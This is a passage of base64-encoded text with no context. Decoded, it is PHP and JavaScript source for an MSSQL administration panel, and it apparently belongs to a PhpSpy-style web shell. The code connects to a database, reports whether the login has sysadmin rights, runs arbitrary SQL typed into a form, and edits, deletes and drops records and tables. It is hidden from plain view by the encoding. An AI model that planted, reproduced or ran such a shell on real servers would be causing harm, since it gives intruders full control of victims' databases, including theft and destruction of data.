9yZWFjaCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgew0KDQoJCQlpZiAoJHZhbCkgew0KDQoJCQkJJGtleXN0ciAuPSAkdG1wLiRrZXk7DQoNCgkJCQkkdmFsc3RyIC49ICR0bXAuIiciLmFkZHNsYXNoZXMoJHZhbCkuIiciOw0KDQoJCQkJJHRtcCA9ICcsJzsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlpZiAoJGtleXN0ciAmJiAkdmFsc3RyKSB7DQoNCgkJCW1zZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUpOw0KDQoJCQltKG1zcSgiSU5TRVJUIElOVE8gJHRhYmxlbmFtZSAoJGtleXN0cikgVkFMVUVTICgkdmFsc3RyKSIpID8gJ0luZ3Jlc2UgbnVldm8gcmVnaXN0cm8nIDogbXNtc2coKSk7DQoNCgkJfQ0KDQoJfQ0KDQoJaWYgKCR1cGRhdGUgJiYgJGluc2VydHNxbCAmJiAkYmFzZTY0KSB7DQoNCgkJJHZhbHN0ciA9ICR0bXAgPSAnJzsNCg0KCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7DQoNCgkJCSR2YWxzdHIgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7DQoNCgkJCSR0bXAgPSAnLCc7DQoNCgkJfQ0KDQoJCWlmICgkdmFsc3RyKSB7DQoNCgkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoNCgkJCW1zZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUpOw0KDQoJCQltKG1zcSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIikgPyAnQWN0dWFsaXphbmRvIHJlZ2lzdHJvJyA6IG1zbXNnKCkpOw0KDQoJCX0NCg0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2RlbCcgJiYgJGJhc2U2NCkgew0KDQoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoNCgkJJGRlbGV0ZV9zcWwgPSAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiOw0KDQoJCW1zZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUpOw0KDQoJCW0obXNxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0JvcnJhbmRvIHJlZ2lzdHJvJyA6IG1zbXNnKCkpOw0KDQoJfQ0KDQoNCg0KCWlmICgkdGFibGVuYW1lICYmICRkb2luZyA9PSAnZHJvcCcpIHsNCg0KCQltc2RiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lKTsNCg0KCQlpZiAobXNxKCJEUk9QIFRBQkxFICR0YWJsZW5hbWUiKSkgew0KDQoJCQltKCdEcm9wIHRhYmxlIG9mIHN1Y2Nlc3MnKTsNCg0KCQkJJHRhYmxlbmFtZSA9ICcnOw0KDQoJCX0gZWxzZSB7DQoNCgkJCW0obXNtc2coKSk7DQoNCgkJfQ0KDQoJfQ0KDQoNCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNU1NRTCcpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdtc3NxbGFkbWluJyk7DQoNCglwKCc8cD4nKTsNCg0KCXAoJ0RCSG9zdDonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KDQoJcCgnREJVc2VyOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7DQoNCglwKCdEQlBhc3M6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29uZWN0YXInLCd0eXBlJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOw0KDQoJcCgnPC9wPicpOw0KDQoJZm9ybWZvb3QoKTsNCg0KPz4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KDQpmdW5jdGlvbiBlZGl0cmVjb3JkKGFjdGlvbiwgYmFzZTY0LCB0YWJsZW5hbWUpew0KDQoJaWYgKGFjdGlvbiA9PSAnZGVsJykgewkJDQoNCgkJaWYgKCFjb25maXJtKCdJcyBvciBpc25cJ3QgZGVsZXRpb24gcmVjb3JkPycpKSByZXR1cm47DQoNCgl9DQoNCgkkKCdyZWNvcmRsaXN0JykuZG9pbmcudmFsdWU9YWN0aW9uOw0KDQoJJCgncmVjb3JkbGlzdCcpLmJhc2U2NC52YWx1ZT1iYXNlNjQ7DQoNCgkkKCdyZWNvcmRsaXN0JykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsNCg0KCSQoJ3JlY29yZGxpc3QnKS5zdWJtaXQoKTsNCg0KfQ0KDQpmdW5jdGlvbiBtb2RkYm5hbWUoZGJuYW1lKSB7DQoNCglpZighZGJuYW1lKSByZXR1cm47DQoNCgkkKCdzZXRkYm5hbWUnKS5kYm5hbWUudmFsdWU9ZGJuYW1lOw0KDQoJJCgnc2V0ZGJuYW1lJykuc3VibWl0KCk7DQoNCn0NCg0KZnVuY3Rpb24gc2V0dGFibGUodGFibGVuYW1lLGRvaW5nLHBhZ2UpIHsNCg0KCWlmKCF0YWJsZW5hbWUpIHJldHVybjsNCg0KCWlmIChkb2luZykgew0KDQoJCSQoJ3NldHRhYmxlJykuZG9pbmcudmFsdWU9ZG9pbmc7DQoNCgl9DQoNCglpZiAocGFnZSkgew0KDQoJCSQoJ3NldHRhYmxlJykucGFnZS52YWx1ZT1wYWdlOw0KDQoJfQ0KDQoJJCgnc2V0dGFibGUnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KDQoJJCgnc2V0dGFibGUnKS5zdWJtaXQoKTsNCg0KfQ0KDQpmdW5jdGlvbiBtc3NxbGluZm8oZGJuYW1lKSB7DQoNCglpZighZGJuYW1lKSByZXR1cm47DQoNCgkkKCdtc3NxbGluZm8nKS5kYm5hbWUudmFsdWU9ZGJuYW1lOw0KDQoJJCgnbXNzcWxpbmZvJykuc3VibWl0KCk7DQoNCn0NCg0KPC9zY3JpcHQ+DQoNCjw/cGhwDQoNCgkvLyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxODg7DQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZWNvcmRsaXN0JykpOw0KDQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnbXNzcWxhZG1pbicpOw0KDQoJbWFrZWhpZGUoJ2Jhc2U2NCcpOw0KDQoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOw0KDQoJcCgkZGJmb3JtKTsNCg0KCWZvcm1mb290KCk7DQoNCg0KDQoJLy8mIzEyOTt/JiMxMjk7fyYjMTkxOTsmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzk5NDsNCg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J21zc3FsaW5mbycpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdtc3NxbGFkbWluJyk7DQoNCgltYWtlaGlkZSgnZG9pbmcnLCdtc3NxbGluZm8nKTsNCg0KCW1ha2VoaWRlKCdkYm5hbWUnKTsNCg0KCXAoJGRiZm9ybSk7DQoNCglmb3JtZm9vdCgpOw0KDQoNCg0KCS8vJiMxMTIxOyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzE5MTk7JiMxMjk7fw0KDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0ZGJuYW1lJykpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ21zc3FsYWRtaW4nKTsNCg0KCXAoJGRiZm9ybSk7DQoNCglpZiAoISRkYm5hbWUpIHsNCg0KCQltYWtlaGlkZSgnZGJuYW1lJyk7DQoNCgl9DQoNCglmb3JtZm9vdCgpOw0KDQoNCg0KCS8vJiMxMTIxOyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38NCg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3NldHRhYmxlJykpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ21zc3FsYWRtaW4nKTsNCg0KCXAoJGRiZm9ybSk7DQoNCgltYWtlaGlkZSgndGFibGVuYW1lJyk7DQoNCgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOw0KDQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoNCglmb3JtZm9vdCgpOw0KDQoNCg0KCSRjYWNoZXRhYmxlcyA9IGFycmF5KCk7CQ0KDQoJJHBhZ2VudW0gPSAzMDsNCg0KCSRwYWdlID0gaW50dmFsKCRwYWdlKTsNCg0KCWlmKCRwYWdlKSB7DQoNCgkJJHN0YXJ0X2xpbWl0ID0gKCRwYWdlIC0gMSkgKiAkcGFnZW51bTsNCg0KCX0gZWxzZSB7DQoNCgkJJHN0YXJ0X2xpbWl0ID0gMDsNCg0KCQkkcGFnZSA9IDE7DQoNCgl9DQoNCg0KDQoJaWYgKGlzc2V0KCRkYmhvc3QpICYmIGlzc2V0KCRkYnVzZXIpICYmIGlzc2V0KCRkYnBhc3MpICYmIGlzc2V0KCRjb25uZWN0KSkgew0KDQoJCSEkZGJuYW1lICYmICRkYm5hbWUgPSAnbWFzdGVyJzsNCg0KCQltc2RiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lKTsNCg0KCQkvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCgkJJHF1ZXJ5ID0gbXNxKCdzZWxlY3QgQEB2ZXJzaW9uJyk7DQoNCgkJJG1zaW5mbyA9IG1zc3FsX2ZldGNoX2FycmF5KCRxdWVyeSk7DQoNCgkJZWNobyAnPHA+Jy4kbXNpbmZvWzBdLic8L3A+JzsNCg0KCQkNCg0KCQkkcXVlcnkgPSBtc3EoIlNFTEVDVCBJU19TUlZST0xFTUVNQkVSKCdzeXNhZG1pbicpIik7DQoNCgkJJG1zaW5mbyA9IG1zc3FsX2ZldGNoX2FycmF5KCRxdWVyeSk7DQoNCgkJJGlzc2EgPSAwOw0KDQoJCWlmICgkbXNpbmZvWzBdKSB7DQoNCgkJCSRpc3NhID0gMTsNCg0KCQkJZWNobyAnPGgzPkVyZXMgc3lzYWRtaW4hPC9oMz4nOw0KDQoJCX0NCg0KCQkvLyYjMTI5O38mIzEyOTt/JiM1NDU7JiMxMjk7fyYjMTI5O38mIzE5MTk7JiMxMjk7fw0KDQoJCSRxdWVyeSA9IG1zcSgiU0VMRUNUIG5hbWUgRlJPTSBtYXN0ZXIuZGJvLnN5c2RhdGFiYXNlcyBXSEVSRSBoYXNfZGJhY2Nlc3MobmFtZSkgPSAxIE9SREVSIEJZIG5hbWUiKTsNCg0KCQkkZGJzID0gYXJyYXkoKTsNCg0KCQkkZGJzW10gPSAnLS0gU2VsZWNjaW9uZSB1bmEgREIgLS0nOw0KDQoJCXdoaWxlKCRkYiA9IG1zc3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCg0KCQkJJGRic1skZGJbJ25hbWUnXV0gPSAkZGJbJ25hbWUnXTsNCg0KCQl9DQoNCgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nU2VsZWNjaW9uZSBsYSBEQjonLCduYW1lJz0+J2RiW10nLCdvcHRpb24nPT4kZGJzLCdzZWxlY3RlZCc9PiRkYm5hbWUsJ29uY2hhbmdlJz0+J21vZGRibmFtZSh0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS52YWx1ZSknLCduZXdsaW5lJz0+MSkpOw0KDQoJCSR0YWJsZWRiID0gYXJyYXkoKTsNCg0KCQlpZiAoJGRibmFtZSkgew0KDQoJCQlwKCc8cD4nKTsNCg0KCQkJcCgnRGF0YWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0Om1zc3FsaW5mbyhcJycuJGRibmFtZS4nXCcpOyI+aW5mb3JtYXRpb248L2E+IF0nKTsNCg0KCQkJaWYgKCR0YWJsZW5hbWUpIHsNCg0KCQkJCXAoJyB8IFRhYmxhIGFjdHVhbDogPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcpOyI+Jy4kdGFibGVuYW1lLic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdkcm9wXCcpOyI+RHJvcDwvYT4gXScpOw0KDQoJCQl9DQoNCgkJCXAoJzwvcD4nKTsNCg0KCQkJaWYgKCFAbXNzcWxfc2VsZWN0X2RiKCRkYm5hbWUpKSB7DQoNCgkJCQlwKCc8aDI+Jy5tc21zZygpLic8L2gyPicpOw0KDQoJCQkJZXhpdDsNCg0KCQkJfQ0KDQoJCQlpZiAoJGRvaW5nID09ICdtc3NxbGluZm8nKSB7DQoNCgkJCQkkcmVzdWx0ID0gbXNxKCJTRUxFQ1QgdDEub3duZXIsIHQxLmNyZGF0ZSwgdDEuc2l6ZSwgdDIuREJCdXBEYXRlLCB0My5EaWZCdXBEYXRlLCB0NC5Kb3VybmFsQnVwRGF0ZSBGUk9NIChTRUxFQ1QgZC5uYW1lLCBzdXNlcl9zbmFtZShkLnNpZCkgQVMgb3duZXIsIGQuY3JkYXRlLCAoU0VMRUNUIFNUUihTVU0oQ09OVkVSVChERUMoMTUpLCBmLnNpemUpKSAqIChTRUxFQ1Qgdi5sb3cgRlJPTSBtYXN0ZXIuZGJvLnNwdF92YWx1ZXMgdiBXSEVSRSB2LnR5cGUgPSAnRScgQU5EIHYubnVtYmVyID0gMSkgLyAxMDQ4NTc2LCAxMCwgMikgKyAnTUInIEZST00gWyRkYm5hbWVdLmRiby5zeXNmaWxlcyBmKSBBUyBzaXplIEZST00gbWFzdGVyLmRiby5zeXNkYXRhYmFzZXMgZCBXSEVSRSBkLm5hbWUgPSAnJGRibmFtZScpIEFTIHQxIExFRlQgSk9JTiAoU0VMRUNUICckZGJuYW1lJyBBUyBuYW1lLCBNQVgoYmFja3VwX2ZpbmlzaF9kYXRlKSBBUyBEQkJ1cERhdGUgRlJPTSBtc2RiLmRiby5iYWNrdXBzZXQgV0hFUkUgdHlwZSA9ICdEJyBBTkQgZGF0YWJhc2VfbmFtZSA9ICckZGJuYW1lJykgQVMgdDIgT04gdDEubmFtZSA9IHQyLm5hbWUgTEVGVCBKT0lOIChTRUxFQ1QgJyRkYm5hbWUnIEFTIG5hbWUsIE1BWChiYWNrdXBfZmluaXNoX2RhdGUpIEFTIERpZkJ1cERhdGUgRlJPTSBtc2RiLmRiby5iYWNrdXBzZXQgV0hFUkUgdHlwZSA9ICdJJyBBTkQgZGF0YWJhc2VfbmFtZSA9ICckZGJuYW1lJykgQVMgdDMgT04gdDEubmFtZSA9IHQzLm5hbWUgTEVGVCBKT0lOIChTRUxFQ1QgJyRkYm5hbWUnIEFTIG5hbWUsIE1BWChiYWNrdXBfZmluaXNoX2RhdGUpIEFTIEpvdXJuYWxCdXBEYXRlIEZST00gbXNkYi5kYm8uYmFja3Vwc2V0IFdIRVJFIHR5cGUgPSAnTCcgQU5EIGRhdGFiYXNlX25hbWUgPSAnJGRibmFtZScpIEFTIHQ0IE9OIHQxLm5hbWUgPSB0NC5uYW1lIik7DQoNCgkJCQkkaW5mbyA9IG1zc3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpOw0KDQoNCg0KCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoNCgkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KDQoJCQkJcCgnPHRkIGNvbHNwYW49IjIiPicuJGRibmFtZS4nIEluZm9ybWF0aW9uPC90ZD4nKTsNCg0KCQkJCXAoJzwvdHI+Jyk7DQoNCg0KDQoJCQkJcCgnPHRyIGNsYXNzPSJhbHQxIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdhbHQxXCc7Ij4nKTsNCg0KCQkJCXAoJzx0ZD5Pd25lcjwvdGQ+PHRkPicuJGluZm9bJ293bmVyJ10uJzwvdGQ+Jyk7DQoNCgkJCQlwKCc8L3RyPicpOw0KDQoJCQkJcCgnPHRyIGNsYXNzPSJhbHQyIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdhbHQyXCc7Ij4nKTsNCg0KCQkJCXAoJzx0ZD5DcmVhdGUgZGF0ZTwvdGQ+PHRkPicuJGluZm9bJ2NyZGF0ZSddLic8L3RkPicpOw0KDQoJCQkJcCgnPC90cj4nKTsNCg0KCQkJCXAoJzx0ciBjbGFzcz0iYWx0MSIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnYWx0MVwnOyI+Jyk7DQoNCgkJCQlwKCc8dGQ+U2l6ZTwvdGQ+PHRkPicuJGluZm9bJ3NpemUnXS4nPC90ZD4nKTsNCg0KCQkJCXAoJzwvdHI+Jyk7DQoNCgkJCQlwKCc8dHIgY2xhc3M9ImFsdDIiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2FsdDJcJzsiPicpOw0KDQoJCQkJcCgnPHRkPkxhc3QgYmFja3VwPC90ZD48dGQ+Jy4kaW5mb1snREJCdXBEYXRlJ10uJyZuYnNwOzwvdGQ+Jyk7DQoNCgkJCQlwKCc8L3RyPicpOw0KDQoJCQkJcCgnPHRyIGNsYXNzPSJhbHQxIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdhbHQxXCc7Ij4nKTsNCg0KCQkJCXAoJzx0ZD5MYXN0IGRpZmZlcmVudGlhbCBiYWNrdXA8L3RkPjx0ZD4nLiRpbmZvWydEaWZCdXBEYXRlJ10uJyZuYnNwOzwvdGQ+Jyk7DQoNCgkJCQlwKCc8L3RyPicpOw0KDQoJCQkJcCgnPHRyIGNsYXNzPSJhbHQyIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdhbHQyXCc7Ij4nKTsNCg0KCQkJCXAoJzx0ZD5MYXN0IGxvZyBiYWNrdXA8L3RkPjx0ZD4nLiRpbmZvWydKb3VybmFsQnVwRGF0ZSddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJcCgnPC90cj4nKTsNCg0KCQkJCXRiZm9vdCgpOw0KDQoJCQkJcCgnPGJyIC8+PGJyIC8+Jyk7DQoNCgkJCQkNCg0KCQkJCSRyZXN1bHQgPSBtc3EoIkVYRUMgc3BfaGVscGZpbGUiKTsNCg0KCQkJCSRyb3dkYiA9IGFycmF5KCk7DQoNCgkJCQl3aGlsZSAoJHJvdyA9IG1zc3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKSB7DQoNCgkJCQkJJHJvd2RiW10gPSAkcm93Ow0KDQoJCQkJfQ0KDQoJCQkJZm9yZWFjaCgkcm93ZGIgYXMgJHJvdyl7DQoNCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCg0KCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KDQoJCQkJCXAoJzx0ZCBjb2xzcGFuPSIyIj4nLiRyb3dbJ25hbWUnXS4nPC90ZD4nKTsNCg0KCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCXAoJzx0ciBjbGFzcz0iYWx0MSIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnYWx0MVwnOyI+Jyk7DQoNCgkJCQkJcCgnPHRkPkZpbGVuYW1lPC90ZD48dGQ+Jy4kcm93WydmaWxlbmFtZSddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCXAoJzwvdHI+Jyk7DQoNCgkJCQkJcCgnPHRyIGNsYXNzPSJhbHQyIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdhbHQyXCc7Ij4nKTsNCg0KCQkJCQlwKCc8dGQ+RmlsZWdyb3VwPC90ZD48dGQ+Jy4kcm93WydmaWxlZ3JvdXAnXS4nJm5ic3A7PC90ZD4nKTsNCg0KCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCXAoJzx0ciBjbGFzcz0iYWx0MSIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnYWx0MVwnOyI+Jyk7DQoNCgkJCQkJcCgnPHRkPlNpemU8L3RkPjx0ZD4nLiRyb3dbJ3NpemUnXS4nJm5ic3A7PC90ZD4nKTsNCg0KCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCXAoJzx0ciBjbGFzcz0iYWx0MiIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnYWx0MlwnOyI+Jyk7DQoNCgkJCQkJcCgnPHRkPk1heHNpemU8L3RkPjx0ZD4nLiRyb3dbJ21heHNpemUnXS4nJm5ic3A7PC90ZD4nKTsNCg0KCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCXAoJzx0ciBjbGFzcz0iYWx0MSIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnYWx0MVwnOyI+Jyk7DQoNCgkJCQkJcCgnPHRkPkdyb3d0aDwvdGQ+PHRkPicuJHJvd1snZ3Jvd3RoJ10uJyZuYnNwOzwvdGQ+Jyk7DQoNCgkJCQkJcCgnPC90cj4nKTsNCg0KCQkJCQlwKCc8dHIgY2xhc3M9ImFsdDIiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2FsdDJcJzsiPicpOw0KDQoJCQkJCXAoJzx0ZD5Vc2FnZTwvdGQ+PHRkPicuJHJvd1sndXNhZ2UnXS4nJm5ic3A7PC90ZD4nKTsNCg0KCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCXRiZm9vdCgpOw0KDQoJCQkJCXAoJzxiciAvPjxiciAvPicpOw0KDQoJCQkJfQ0KDQoJCQl9IGVsc2Ugew0KDQoJCQkJJGdldG51bXNxbCA9ICcnOw0KDQoJCQkJJHJ1bnF1ZXJ5ID0gMDsNCg0KCQkJCWlmICgkc3FsX3F1ZXJ5KSB7DQoNCgkJCQkJJHJ1bnF1ZXJ5ID0gMTsNCg0KCQkJCX0NCg0KCQkJCSRhbGxvd2VkaXQgPSAwOw0KDQoJCQkJaWYgKCR0YWJsZW5hbWUgJiYgISRzcWxfcXVlcnkpIHsNCg0KCQkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7DQoNCgkJCQkJJGdldG51bXNxbCA9ICJTRUxFQ1QgY291bnQoKikgRlJPTSAkdGFibGVuYW1lIjsNCg0KCQkJCQkkYWxsb3dlZGl0ID0gMTsNCg0KCQkJCX0NCg0KDQoNCgkJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsNCg0KCQkJCXAoJzxwPjx0YWJsZSB3aWR0aD0iMjAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZCBjb2xzcGFuPSIyIj5SdW4gU1FMIHF1ZXJ5L3F1ZXJpZXMgb24gZGF0YWJhc2UgJy4kZGJuYW1lLic6PC90ZD48L3RyPjx0cj48dGQ+PHRleHRhcmVhIG5hbWU9InNxbF9xdWVyeSIgY2xhc3M9ImFyZWEiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NTBweDtvdmVyZmxvdzphdXRvOyI+Jy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnksRU5UX1FVT1RFUykuJzwvdGV4dGFyZWE+PC90ZD48dGQgc3R5bGU9InBhZGRpbmc6MCA1cHg7Ij48aW5wdXQgY2xhc3M9ImJ0IiBzdHlsZT0iaGVpZ2h0OjUwcHg7IiBuYW1lPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlF1ZXJ5IiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvcD4nKTsNCg0KCQkJCW1ha2VoaWRlKCd0YWJsZW5hbWUnLCAkdGFibGVuYW1lKTsNCg0KCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdtc3NxbGFkbWluJyk7DQoNCgkJCQlwKCRkYmZvcm0pOw0KDQoJCQkJcCgnPC9mb3JtPicpOw0KDQoJCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRydW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgew0KDQoJCQkJCWlmICgkZG9pbmcgPT0gJ3N0cnVjdHVyZScpIHsNCg0KCQkJCQkJJHJlc3VsdCA9IG1zcSgic2VsZWN0IGIubmFtZSxjLm5hbWUgYXMgdHlwZSxjLnh0eXBlLGIubGVuZ3RoLGIuaXNudWxsYWJsZSxiLmNvbHN0YXQsY2FzZSB3aGVuIGIuYXV0b3ZhbCBpcyBudWxsIHRoZW4gMCBlbHNlIDEgZW5kLGIuY29saWQsYS5pZCxkLnRleHQgZnJvbSBzeXNvYmplY3RzIGEgam9pbiBzeXNjb2x1bW5zIGIgb24gYS5pZCA9IGIuaWQgam9pbiBzeXN0eXBlcyBjIG9uIGIueHR5cGUgPSBjLnh0eXBlIGFuZCBjLnVzZXJ0eXBlIDw+IDE4IGxlZnQgam9pbiBzeXNjb21tZW50cyBkIG9uIGQuaWQgPSBiLmNkZWZhdWx0IHdoZXJlIGEuaWQgPSBPQkpFQ1RfSUQoJyR0YWJsZW5hbWUnKSBvcmRlciBieSBiLmNvbGlkIik7DQoNCgkJCQkJCSRyb3dkYiA9IGFycmF5KCk7DQoNCgkJCQkJCXdoaWxlKCRyb3cgPSBtc3NxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KDQoJCQkJCQkJJHJvd2RiW10gPSAkcm93Ow0KDQoJCQkJCQl9DQoNCgkJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoNCgkJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7DQoNCgkJCQkJCXAoJzx0ZD5GaWVsZDwvdGQ+Jyk7DQoNCgkJCQkJCXAoJzx0ZD5UeXBlPC90ZD4nKTsNCg0KCQkJCQkJcCgnPHRkPkxlbmd0aDwvdGQ+Jyk7DQoNCgkJCQkJCXAoJzx0ZD5Jc251bGxhYmxlPC90ZD4nKTsNCg0KCQkJCQkJcCgnPHRkPktleTwvdGQ+Jyk7DQoNCgkJCQkJCXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsNCg0KCQkJCQkJcCgnPHRkPkV4dHJhPC90ZD4nKTsNCg0KCQkJCQkJcCgnPC90cj4nKTsNCg0KCQkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCg0KCQkJCQkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3Vz